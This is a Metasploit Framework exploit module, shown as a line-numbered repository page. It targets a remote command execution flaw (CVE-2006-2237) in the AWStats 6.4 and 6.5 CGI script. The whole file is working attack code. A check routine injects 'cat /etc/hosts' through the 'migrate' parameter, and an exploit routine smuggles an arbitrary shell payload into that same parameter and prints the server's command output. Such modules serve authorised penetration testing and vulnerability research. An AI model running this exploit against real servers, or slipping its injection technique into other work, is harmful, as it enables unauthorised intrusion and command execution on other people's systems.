Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / unix / webapp / awstats_migrate_exec.rb @ master

History | View | Annotate | Download (3 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12

    
13
require 'msf/core'
14

    
15

    
16
class Metasploit3 < Msf::Exploit::Remote
17
        Rank = ExcellentRanking
18

    
19
        include Msf::Exploit::Remote::HttpClient
20

    
21
        def initialize(info = {})
22
                super(update_info(info,
23
                        'Name'           => 'AWStats migrate Remote Command Execution',
24
                        'Description'    => %q{
25
                                        This module exploits an arbitrary command execution vulnerability in the
26
                                AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based
27
                                payloads are recommended with this module. The vulnerability is only
28
                                present when AllowToUpdateStatsFromBrowser is enabled in the AWstats
29
                                configuration file (non-default).
30
                        },
31
                        'Author'         => [ 'patrick' ],
32
                        'License'        => MSF_LICENSE,
33
                        'Version'        => '$Revision$',
34
                        'References'     =>
35
                                [
36
                                        ['CVE', '2006-2237'],
37
                                        ['OSVDB', '25284'],
38
                                        ['BID', '17844'],
39
                                        ['URL', 'http://awstats.sourceforge.net/awstats_security_news.php'],
40
                                        ['URL', 'http://www.exploit-db.com/exploits/1755/'],
41
                                ],
42
                        'Privileged'     => false,
43
                        'Payload'        =>
44
                                {
45
                                        'DisableNops' => true,
46
                                        'Space'       => 512,
47
                                        'Compat'      =>
48
                                                {
49
                                                        'PayloadType' => 'cmd',
50
                                                        'RequiredCmd' => 'generic perl ruby bash telnet',
51
                                                }
52
                                },
53
                        'Platform'       => 'unix',
54
                        'Arch'           => ARCH_CMD,
55
                        'Targets'        => [[ 'Automatic', { }]],
56
                        'DisclosureDate' => 'May 04 2006',
57
                        'DefaultTarget'  => 0))
58

    
59
                register_options(
60
                        [
61
                                OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),
62
                                OptString.new('AWSITE', [true, "The AWStats config site name", "demo"]),
63
                        ], self.class)
64
        end
65

    
66
        def check
67
                res = send_request_cgi({
68
                        'uri'      => datastore['URI'],
69
                        'vars_get' =>
70
                                {
71
                                        'migrate' => "|echo;cat /etc/hosts;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt"
72
                                }
73
                        }, 25)
74

    
75
                if (res and res.body.match(/localhost/))
76
                        return Exploit::CheckCode::Vulnerable
77
                end
78

    
79
                return Exploit::CheckCode::Safe
80
        end
81

    
82
        def exploit
83
                command = Rex::Text.uri_encode("cd /tmp &&" + payload.encoded)
84
                sploit = datastore['URI'] + "?migrate=|echo;echo%20YYY;#{command};echo%20YYY;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt"
85

    
86
                res = send_request_raw({
87
                        'uri'     => sploit,
88
                        'method'  => 'GET',
89
                        'headers' =>
90
                                {
91
                                        'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
92
                                        'Connection' => 'Close',
93
                                }
94
                        }, 25)
95

    
96
                if (res)
97
                        print_status("The server returned: #{res.code} #{res.message}")
98

    
99
                        m = res.body.match(/YYY\n(.*)\nYYY/m)
100

    
101
                        if (m)
102
                                print_status("Command output from the server:")
103
                                print("\n" + m[1] + "\n\n")
104
                        else
105
                                print_status("This server may not be vulnerable")
106
                        end
107
                else
108
                        print_status("No response from the server")
109
                end
110
        end
111

    
112
end